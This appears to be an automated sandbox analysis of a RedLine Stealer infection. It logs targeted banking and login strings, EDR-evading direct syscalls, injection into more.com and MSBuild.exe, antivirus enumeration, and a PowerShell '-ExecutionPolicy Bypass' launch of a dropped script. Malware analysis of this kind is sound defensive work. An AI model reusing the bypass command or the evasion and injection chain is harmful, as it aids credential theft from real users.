Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: more.com, 0000000F.00000002.2441086238.000000000516D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: noreply@vmware.com0
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: MSBuild.exe, 0000000D.00000002.3266250140.0000000002C6A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: MSBuild.exe, 0000000D.00000002.3260449809.0000000000F26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\svchost.exe

File created: BIT3445.tmp.12.dr

Jump to dropped file

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1"

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x18710	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x16F5
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x274BF2FE37E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x7FFB2BC260D4	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtReadFile: Direct from: 0x2C8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0xFDBF0FB7C	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtCreateFile: Direct from: 0xA100000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0xFF131FB5D	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtAllocateVirtualMemory: Direct from: 0x2CC	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtCreateFile: Direct from: 0x18000000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtCreateFile: Direct from: 0x27400000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtClose: Direct from: 0x219
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0x18067A6A37E	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x1F1
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtCreateFile: Direct from: 0x6400000080	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtQuerySystemInformation: Direct from: 0x7FFB2BC26118	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtDelayExecution: Direct from: 0xA1F45CE340	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x2F8	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x274BA827000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtClose: Direct from: 0x7FFB2BC2CDF8
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtReadFile: Direct from: 0x1EF590	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtReadFile: Direct from: 0x2DC	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtClose: Direct from: 0x101
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtProtectVirtualMemory: Direct from: 0x1806623B7F0	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtProtectVirtualMemory: Direct from: 0x3	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x7FFB2BC38E14	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	NtAllocateVirtualMemory: Direct from: 0x40	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	NtDelayExecution: Direct from: 0x648A74E450	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Section loaded: NULL target: C:\Windows\SysWOW64\more.com protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe protection: read write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 9FF008	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 70101000
Source: C:\Windows\SysWOW64\more.com	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: ACE008

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user~1\AppData\Local\Temp\is-6VQJV.tmp\ExtractedContent.ps1"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe "C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Source: dobi.exe, 00000007.00000002.2050527233.0000018066801000.00000004.00000020.00020000.00000000.sdmp, dobi.exe, 00000007.00000000.1859011510.0000000000BA1000.00000020.00000001.01000000.0000000A.sdmp, coml.exe, 0000000E.00000000.2224200323.0000000000B6C000.00000020.00000001.01000000.00000012.sdmp

Binary or memory string: Shell_TrayWnd

Language, Device and Operating System Detection

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\AppData\Local\Temp\is-TUTCO.tmp\9VbeqQbgU4.tmp	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\SystemUtil\dobi.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\dac5e65e VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sto\coml.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\f0a9efc8 VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: 15.2.more.com.5b900c8.7.raw.unpack, type: UNPACKEDPE
